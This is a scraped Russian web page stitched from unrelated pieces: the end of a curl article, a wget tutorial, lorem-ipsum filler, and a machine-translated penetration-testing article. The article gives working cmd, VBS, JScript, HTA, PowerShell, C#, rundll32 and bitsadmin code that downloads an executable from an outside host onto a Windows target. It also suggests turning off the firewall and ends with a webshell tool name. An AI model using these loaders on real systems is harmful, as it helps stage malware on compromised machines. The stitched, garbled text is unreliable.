Это всего лишь несколько примеров использования curl — на самом деле их гораздо больше. Я настоятельно рекомендую проверить справку по curl и поэкспериментировать с ней.
А вы используете curl? И если да, то для чего?
Telegram-канал с полезностями и уютный чат
GNU Wget — консольная программа для загрузки файлов по сети. Поддерживает протоколы HTTP, FTP и HTTPS, а также работу через HTTP прокси-сервер. Программа включена почти во все дистрибутивы Linux. Утилита разрабатывалась для медленных соединений, поэтому она поддерживает докачку файлов при обрыве соединения.
Для работы с Wget под Windows, переходим по ссылке и скачиваем файл wget.exe
. Создаем директорию C:Program FilesWget-Win64
и размещаем в ней скачанный файл. Для удобства работы добавляем в переменную окружения PATH
путь до исполняемого файла.
Давайте попробуем что-нибудь скачать, скажем дистрибутив Apache под Windows:
> wget https://home.apache.org/~steffenal/VC15/binaries/httpd-2.4.35-win64-VC15.zip --2018-09-14 10:34:09-- https://home.apache.org/~steffenal/VC15/binaries/httpd-2.4.35-win64-VC15.zip Resolving home.apache.org (home.apache.org)... 163.172.16.173 Connecting to home.apache.org (home.apache.org)|163.172.16.173|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 17856960 (17M) [application/zip] Saving to: 'httpd-2.4.35-win64-VC15.zip' httpd-2.4.35-win64-VC15.zip 100%[=================================================>] 17,03M 8,50MB/s in 2,0s 2018-09-14 10:34:12 (8,50 MB/s) - 'httpd-2.4.35-win64-VC15.zip' saved [17856960/17856960]
Если утилита ругается на сертификаты при скачивании по HTTPS, нужно использовать дополнительную опцию --no-check-certificate
.
Примеры
Загрузка всех URL, указанных в файле (каждая ссылка с новой строки):
> wget -i download.txt
Скачивание файлов в указанный каталог:
> wget -P /path/for/save ftp://ftp.example.org/image.iso
Скачивание файла file.zip
и сохранение под именем archive.zip
:
> wget -O archive.zip http://example.com/file.zip
Продолжить загрузку ранее не полностью загруженного файла:
> wget -c http://example.org/image.iso
Вывод заголовков HTTP серверов и ответов FTP серверов:
> wget -S http://example.org/
Скачать содержимое каталога archive
и всех его подкаталогов, при этом не поднимаясь по иерархии каталогов выше:
> wget -r --no-parent http://example.org/some/archive/
Использование имени пользователя и пароля на FTP/HTTP:
> wget --user=login --password=password ftp://ftp.example.org/image.iso
> wget ftp://login:password@ftp.example.org/image.iso
Отправить POST-запрос в формате application/x-www-form-urlencoded
:
> wget --post-data="user=evgeniy&password=qwerty" http://example.org/auth/
Сохранение cookie
в файл cookie.txt
для дальнейшей отправки серверу:
> wget --save-cookie cookie.txt http://example.org/
Сохраненный файл cookie.txt
:
# HTTP cookie file. # Generated by Wget on 2018-09-14 11:40:37. # Edit at your own risk. example.org FALSE / FALSE 1570196437 visitor 71f61d2a01de1394f60120c691a52c56
Отправка cookie
, сохраненных ранее в файле cookie.txt
:
> wget --load-cookie cookie.txt http://example.org/
Отправка заголовков:
> wget --header="Accept-Language: ru-RU,ru;q=0.9" --header="Cookie: PHPSESSID=....." http://example.org/
Справка по утилите:
> wget -h GNU Wget 1.11.4, программа для загрузки файлов из сети в автономном режиме. Использование: wget [ОПЦИЯ]... [URL]...
Запуск: -V, --version вывод версии Wget и выход. -h, --help вывод этой справки. -b, --background после запуска перейти в фоновый режим. -e, --execute=КОМАНДА выполнить команду в стиле .wgetrc. Журналирование и входной файл: -o, --output-file=ФАЙЛ записывать сообщения в ФАЙЛ. -a, --append-output=ФАЙЛ дописывать сообщения в конец ФАЙЛА. -d, --debug вывод большого количества отладочной информации. -q, --quiet молча (без выходных данных). -v, --verbose подробный вывод (по умолчанию). -nv, --no-verbose отключение подробного режима, но не полностью. -i, --input-file=ФАЙЛ загрузка URL-ов, найденных в ФАЙЛЕ. -F, --force-html считать, что входной файл - HTML. -B, --base=URL добавление URL в начало относительных ссылок в файле -F -i. Загрузка: -t, --tries=ЧИСЛО установить ЧИСЛО повторных попыток (0 без ограничения). --retry-connrefused повторять, даже если в подключении отказано. -O, --output-document=ФАЙЛ записывать документы в ФАЙЛ. -nc, --no-clobber пропускать загрузки, которые приведут к загрузке уже существующих файлов. -c, --continue возобновить загрузку частично загруженного файла. --progress=ТИП выбрать тип индикатора выполнения. -N, --timestamping не загружать повторно файлы, только если они не новее, чем локальные. -S, --server-response вывод ответа сервера. --spider ничего не загружать. -T, --timeout=СЕКУНДЫ установка значений всех тайм-аутов в СЕКУНДЫ. --dns-timeout=СЕК установка тайм-аута поиска в DNS в СЕК. --connect-timeout=СЕК установка тайм-аута подключения в СЕК. --read-timeout=СЕК установка тайм-аута чтения в СЕК. -w, --wait=СЕКУНДЫ пауза в СЕКУНДАХ между загрузками. --waitretry=СЕКУНДЫ пауза в 1..СЕКУНДЫ между повторными попытками загрузки. --random-wait пауза в 0...2*WAIT секунд между загрузками. --no-proxy явно выключить прокси. -Q, --quota=ЧИСЛО установить величину квоты загрузки в ЧИСЛО. --bind-address=АДРЕС привязка к АДРЕСУ (имя хоста или IP) локального хоста. --limit-rate=СКОРОСТЬ ограничение СКОРОСТИ загрузки. --no-dns-cache отключение кэширования поисковых DNS-запросов. --restrict-file-names=ОС ограничение на символы в именах файлов, использование которых допускает ОС. --ignore-case игнорировать регистр при сопоставлении файлов и/или каталогов. -4, --inet4-only подключаться только к адресам IPv4. -6, --inet6-only подключаться только к адресам IPv6. --prefer-family=СЕМЕЙСТВО подключаться сначала к адресам указанного семейства, может быть IPv6, IPv4 или ничего. --user=ПОЛЬЗОВАТЕЛЬ установить и ftp- и http-пользователя в ПОЛЬЗОВАТЕЛЬ. --password=ПАРОЛЬ установить и ftp- и http-пароль в ПАРОЛЬ. Каталоги: -nd, --no-directories не создавать каталоги. -x, --force-directories принудительно создавать каталоги. -nH, --no-host-directories не создавать каталоги как на хосте. --protocol-directories использовать имя протокола в каталогах. -P, --directory-prefix=ПРЕФИКС сохранять файлы в ПРЕФИКС/... --cut-dirs=ЧИСЛО игнорировать ЧИСЛО компонентов удалённого каталога. Опции HTTP: --http-user=ПОЛЬЗОВАТЕЛЬ установить http-пользователя в ПОЛЬЗОВАТЕЛЬ. --http-password=ПАРОЛЬ установить http-пароль в ПАРОЛЬ. --no-cache отвергать кэшированные сервером данные. -E, --html-extension сохранять HTML-документы с расширением .html. --ignore-length игнорировать поле заголовка Content-Length. --header=СТРОКА вставить СТРОКУ между заголовками. --max-redirect максимально допустимое число перенаправлений на страницу. --proxy-user=ПОЛЬЗОВАТЕЛЬ установить ПОЛЬЗОВАТЕЛЯ в качестве имени пользователя для прокси. --proxy-password=ПАРОЛЬ установить ПАРОЛЬ в качестве пароля для прокси. --referer=URL включить в HTTP-запрос заголовок Referer: URL. --save-headers сохранять HTTP-заголовки в файл. -U, --user-agent=АГЕНТ идентифицировать себя как АГЕНТ вместо Wget/ВЕРСИЯ. --no-http-keep-alive отключить поддержание активности HTTP (постоянные подключения). --no-cookies не использовать кукисы. --load-cookies=ФАЙЛ загрузить кукисы из ФАЙЛА перед сеансом. --save-cookies=ФАЙЛ сохранить кукисы в ФАЙЛ после сеанса. --keep-session-cookies загрузить и сохранить кукисы сеанса (непостоянные). --post-data=СТРОКА использовать метод POST; отправка СТРОКИ в качестве данных. --post-file=ФАЙЛ использовать метод POST; отправка содержимого ФАЙЛА. --content-disposition Учитывать заголовок Content-Disposition при выборе имён для локальных файлов (ЭКСПЕРИМЕНТАЛЬНЫЙ). --auth-no-challenge Отправить базовые данные аутентификации HTTP не дожидаясь ответа от сервера. Опции HTTPS (SSL/TLS): --secure-protocol=ПР выбор безопасного протокола: auto, SSLv2, SSLv3 или TLSv1. --no-check-certificate не проверять сертификат сервера. --certificate=FILE файл сертификата пользователя. --certificate-type=ТИП тип сертификата пользователя: PEM или DER. --private-key=ФАЙЛ файл секретного ключа. --private-key-type=ТИП тип секретного ключа: PEM или DER. --ca-certificate=ФАЙЛ файл с набором CA. --ca-directory=КАТ каталог, в котором хранится список CA. --random-file=ФАЙЛ файл со случайными данными для SSL PRNG. --egd-file=ФАЙЛ файл, определяющий сокет EGD со случайными данными. Опции FTP: --ftp-user=ПОЛЬЗОВАТЕЛЬ установить ftp-пользователя в ПОЛЬЗОВАТЕЛЬ. --ftp-password=ПАРОЛЬ установить ftp-пароль в ПАРОЛЬ. --no-remove-listing не удалять файлы файлы .listing. --no-glob выключить маски для имён файлов FTP. --no-passive-ftp отключить "пассивный" режим передачи. --retr-symlinks при рекурсии загружать файлы по ссылкам (не каталоги). --preserve-permissions сохранять права доступа удалённых файлов. Рекурсивная загрузка: -r, --recursive включение рекурсивной загрузки. -l, --level=ЧИСЛО глубина рекурсии (inf и 0 - бесконечность). --delete-after удалять локальные файлы после загрузки. -k, --convert-links делать ссылки локальными в загруженном HTML. -K, --backup-converted перед преобразованием файла X делать резервную копию X.orig. -m, --mirror короткая опция, эквивалентная -N -r -l inf --no-remove-listing. -p, --page-requisites загрузить все изображения и проч., необходимые для отображения HTML-страницы. --strict-comments включить строгую (SGML) обработку комментариев HTML. Разрешения/запреты при рекурсии: -A, --accept=СПИСОК список разрешённых расширений, разделённых запятыми. -R, --reject=СПИСОК список запрещённых расширений, разделённых запятыми. -D, --domains=СПИСОК список разрешённых доменов, разделённых запятыми. --exclude-domains=СПИСОК список запрещённых доменов, разделённых запятыми. --follow-ftp следовать по ссылкам FTP в HTML-документах. --follow-tags=СПИСОК список используемых тегов HTML, разделённых запятыми. --ignore-tags=СПИСОК список игнорируемых тегов HTML, разделённых запятыми. -H, --span-hosts заходить на чужие хосты при рекурсии. -L, --relative следовать только по относительным ссылкам. -I, --include-directories=СПИСОК список разрешённых каталогов. -X, --exclude-directories=СПИСОК список исключаемых каталогов. -np, --no-parent не подниматься в родительский каталог.
Дополнительно
- WGet — программа для загрузки файлов
Поиск:
CLI • Cookie • FTP • HTTP • HTTPS • Linux • POST • Web-разработка • Windows • wget • Форма
Каталог оборудования
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
Производители
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
Функциональные группы
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
0x00 Предисловие
В процессе тестирования на проникновение часто бывает необходимо загрузить файлы на целевой хост. Я столкнулся с этой проблемой в недавнем процессе обучения и тестирования. Требуется загрузить файлы на целевой хост (система Windows) только через оболочку cmd, поэтому эта статья о Суммируйте свои навыки.
Тестовая среда 0x02
OS:Win7 x86
test exe: ssss2.exe, вывод 1 после успешного запуска
0x03 Общий метод загрузки
1、 debug
debug — инструмент для отладки программ, в число функций которого входят:
- Прямой ввод, изменение, отслеживание и запуск исходных программ на ассемблере
- Соблюдайте содержимое операционной системы
- Посмотреть содержимое ROM BIOS
- Наблюдайте и изменяйте значение настройки в ОЗУ
- Чтение и запись данных с дискет по секторам или файлам
В частности, он имеет функцию для преобразования шестнадцатеричных кодов в исполняемые файлы:
В сочетании с целями этой статьи, идеи заключаются в следующем:
- Конвертировать исполняемый файл в шестнадцатеричный формат
- Запишите шестнадцатеричный код в файл с помощью команды echo
- Используйте функцию отладки для восстановления шестнадцатеричного кода в исполняемый файл
Актуальный тест:
exe2bat.exe в Kali обеспечивает эту функцию, расположенную в/usr/share/windows-binaries
Как показано
Операционные шаги:
kali:
#!bash
cd /usr/share/windows-binaries
wine exe2bat.exe ssss2.exe ssss2.txt
После выполнения будет сгенерирован ssss2.txt, скопируйте и вставьте содержимое в командную строку cmd и выполните последовательно
После выполнения сгенерирует 1.dll, 123.hex, ssss.exe
Как показано
Примечание:
exe2bat не поддерживает файлы, размер которых превышает 64 КБ, по умолчанию отладка поддерживает только 32-разрядные системы
Как показано
2、ftp
Настройте FTP-сервер:
ip:192.168.174.151
Файл: ssss2.exe
Выполните следующий код для загрузки файлов через ftp
cmd:
#!bash
echo open 192.168.174.151 21> ftp.txt
echo ftp>> ftp.txt
echo bin >> ftp.txt
echo ftp>> ftp.txt
echo GET ssss2.exe >> ftp.txt
ftp -s:ftp.txt
Как показано
Примечание:
При первом использовании ftp для загрузки брандмауэра он будет заблокирован фреймом. Не забудьте добавить правила брандмауэра перед его использованием
3、vbs
Загрузчик VBS, используя объекты msxml2.xmlhttp и adodb.stream
Следующий код сохраняется в виде файла .vbs:
#!vb
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://192.168.174.145/ssss2.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "C:testupdatessss2.exe",2
Команды, соответствующие cmd:
#!bash
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
echo Post.Open "GET","http://192.168.174.145/ssss2.exe",0 >>download.vbs
echo Post.Send() >>download.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
echo aGet.Mode = 3 >>download.vbs
echo aGet.Type = 1 >>download.vbs
echo aGet.Open() >>download.vbs
echo aGet.Write(Post.responseBody) >>download.vbs
echo aGet.SaveToFile "C:testupdatessss2.exe",2 >>download.vbs
После последовательного выполнения будет создан файл download.vbs, а затем можно будет выполнить загрузку download.vbs для загрузки файла ssss2.exe.
4、powershell
cmd:
#!powershell
powershell (new-object System.Net.WebClient).DownloadFile( 'http://192.168.174.145/ssss2.exe','C:testupdatessss2.exe')
5、csc
csc.exe — это компилятор C # в Microsoft .NET Framework, он включен по умолчанию в систему Windows, а файл cs можно скомпилировать в exe из командной строки.
Код загрузчика c #:
#!csharp
using System.Net;
namespace downloader
{
class Program
{
static void Main(string[] args)
{
WebClient client = new WebClient();
string URLAddress = @"http://192.168.174.145/ssss2.exe";
string receivePath = @"C:testupdate";
client.DownloadFile(URLAddress, receivePath + System.IO.Path.GetFileName
(URLAddress));
}
}
}
Используйте echo для записи кода в файл download.cs по очереди, а затем вызовите csc.exe для компиляции файла cs
выполнение
#!bash
C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe /out:C:tes
tupdatedownload.exe C:testupdatedownload.cs
Файл download.exe создается, как показано на рисунке.
Примечание:
Абсолютный путь к csc.exe должен быть определен в соответствии с .net-версией системы.
6、JScript
По сравнению с используемыми в JSRatScripting.FileSystemObject
Переключиться наADODB.Stream
Проще и эффективнее реализовать
Следующий код сохраняется в виде файла js по порядку, и его можно загрузить непосредственно для выполнения файла
#!js
var Object = WScript.CreateObject("MSXML2.XMLHTTP");
Object.open("GET","http://192.168.174.145/ssss2.exe",false);
Object.send();
if (Object.Status == 200)
{
var Stream = WScript.CreateObject("ADODB.Stream");
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.SaveToFile("C:\test\update\ssss2.exe", 2);
Stream.Close();
}
Слово, объединенное с rundll32 (аналогично тому, как запускается JSRat):
cmd:
#!bash
rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();Object=new%20ActiveXObject("Microsoft.XMLHTTP");Object.open("GET","http://192.168.174.145/ssss2.exe",false);Object.send();if(Object.Status==200){Stream=new%20ActiveXObject("ADODB.Stream");Stream.Open();Stream.Type=1;Stream.Write(Object.ResponseBody);Stream.SaveToFile("C:\test\update\ssss2.exe",2);Stream.Close();}
После казни вам подскажут, что разрешения нет, это очень интересно, подробности будут представлены в следующих статьях
7、hta
Добавлена функция минимизации и автоматического выхода из программы hta, окно hta будет свернуто в процессе выполнения, а программа hta будет автоматически закрыта после завершения загрузки файла
Следующий код сохраняется в виде файла .hta:
#!js
<html>
<head>
<script>
var Object = new ActiveXObject("MSXML2.XMLHTTP");
Object.open("GET","http://192.168.174.145/ssss2.exe",false);
Object.send();
if (Object.Status == 200)
{
var Stream = new ActiveXObject("ADODB.Stream");
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.SaveToFile("C:\test\update\ssss2.exe", 2);
Stream.Close();
}
window.close();
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</head>
<body>
</body>
</html>
8、bitsadmin
bitsadmin — это инструмент командной строки, который можно использовать для создания заданий загрузки или выгрузки и отслеживания их выполнения. Система Windows после XP
Как использовать:
Под cmd:
#!bash
bitsadmin /transfer n http://download.sysinternals.com/files/PSTools.zip C:testupdatePSTools.zip
Успешная загрузка выглядит следующим образом:
Примечание:
Не поддерживает протоколы HTTPS и FTP
Использование сервера kali simplehttpserver в качестве сервера сообщит об ошибке
9、base64
Сначала зашифруйте exe с помощью base64, а затем расшифруйте вывод после загрузки через cmd.
(1)powershell
$PEBytes = [System.IO.File]::ReadAllBytes("C:windowssystem32calc.exe")
$Base64Payload = [System.Convert]::ToBase64String($PEBytes)
Set-Content base64.txt -Value $Base64Payload
После запуска C: windows system32 calc.exe будет зашифрован как base64 и выведен в base64.txt.
(2)c#
using System;
using System.IO;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace test1
{
class Program
{
static void Main(string[] args)
{
byte[] AsBytes = File.ReadAllBytes(@"C:windowssystem32calc.exe");
String AsBase64String = Convert.ToBase64String(AsBytes);
StreamWriter sw = new StreamWriter(@"C:testbase64.txt");
sw.Write(AsBase64String);
sw.Close();
}
}
}
(3) аксессуары eml
(Идея предоставлена Пигманом)
server2003 по умолчанию включает клиент Outlook C: Program Files Outlook Express
После запуска нового почтового сообщения выгрузить вложение-сохранить в формате eml
Используйте блокнот, чтобы открыть электронную почту, вы можете увидеть зашифрованный код base64
Как показано
Расшифруйте файл base64 и сгенерируйте метод exe:
(1)powershell
$Base64Bytes = Get-Content (base64.txt)
$PEBytes= [System.Convert]::FromBase64String($Base64Bytes)
Set-Content calc.exe -Value $PEBytes
(2)c#
using System;
using System.IO;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace test1
{
class Program
{
static void Main(string[] args)
{
byte[] AsBytes = File.ReadAllBytes(@"C:testbase64.txt");
String AsBase64String = Convert.FromBase64String(AsBytes);
StreamWriter sw = new StreamWriter(@"C:testcalc.exe");
sw.Write(AsBase64String);
sw.Close();
}
}
}
Примечание:Операция чтения файла может быть заменена кодом base64, непосредственно записанным в файл скрипта.
0x04 Дополнительный метод загрузки
Выше приведены программы, включенные в систему по умолчанию, в сочетании с описанными выше способами и с помощью сторонних инструментов также можно добиться функций
Идея, представленная здесь, заключается в том, чтобы сначала загрузить сторонние инструменты через битсадмин, а затем использовать сторонние инструменты для передачи файлов.
1、wget:
#!bash
bitsadmin /transfer n http://www.interlog.com/~tcharron/wgetwin-1_5_3_1-binary.zip C:testupdatewget.zip
После запуска он загрузит сжатый пакет wget wget.zip
Примечание:
Система Windows по умолчанию не включает команду для распаковки zip-файла, но вы можете использовать vbs для распаковки zip-файла
VBS для достижения декомпрессии:
Следующий код сохраняется в виде файла .vbs:
#!vb
UnZip "C:testupdatewget.zip","C:testupdatewget"
Sub UnZip(ByVal myZipFile, ByVal myTargetDir)
Set fso = CreateObject("Scripting.FileSystemObject")
If NOT fso.FileExists(myZipFile) Then
Exit Sub
ElseIf fso.GetExtensionName(myZipFile) <> "zip" Then
Exit Sub
ElseIf NOT fso.FolderExists(myTargetDir) Then
fso.CreateFolder(myTargetDir)
End If
Set objShell = CreateObject("Shell.Application")
Set objSource = objShell.NameSpace(myZipFile)
Set objFolderItem = objSource.Items()
Set objTarget = objShell.NameSpace(myTargetDir)
intOptions = 256
objTarget.CopyHere objFolderItem, intOptions
End Sub
Код отhttp://demon.tw/programming/vbs-unzip-file.html
После удачной разархивации вы можете передавать файлы через wget.exe
#!bash
C:testupdatewgetwget.exe http://192.168.174.145/ssss2.exe
Как показано
2、ftfp
Идея та же, что и выше: сначала скачайте tftp.exe через bitsadmin, а затем используйте tftp для передачи файлов.
#!bash
bitsadmin /transfer n http://www.winagents.com/downloads/tftp.exe C:testupdatetftp.exe
После успешной загрузки используйте tftp для передачи файлов:
#!bash
tftp -i 192.168.174.151 GET tftpssss2.exe C:testupdatessss2.exe
Примечание:
Брандмауэр по умолчанию заблокирует
Выключите брандмауэр или добавьте правила
Как показано
0x05 Резюме
В этой статье разбираются некоторые часто используемые методы для передачи файлов через cmd, сосредоточив внимание на представлении более общих и простых методов, поэтому я не представил других методов реализации, которые должны настраивать среду разработки, таких как Python, Ruby, Php и т. Д., Если у вас есть Для улучшения методов реализации, добро пожаловать, чтобы общаться со мной и учиться вместе.
Оригинальный адрес:http://caidaome.com/?post=23
кухонный нож xise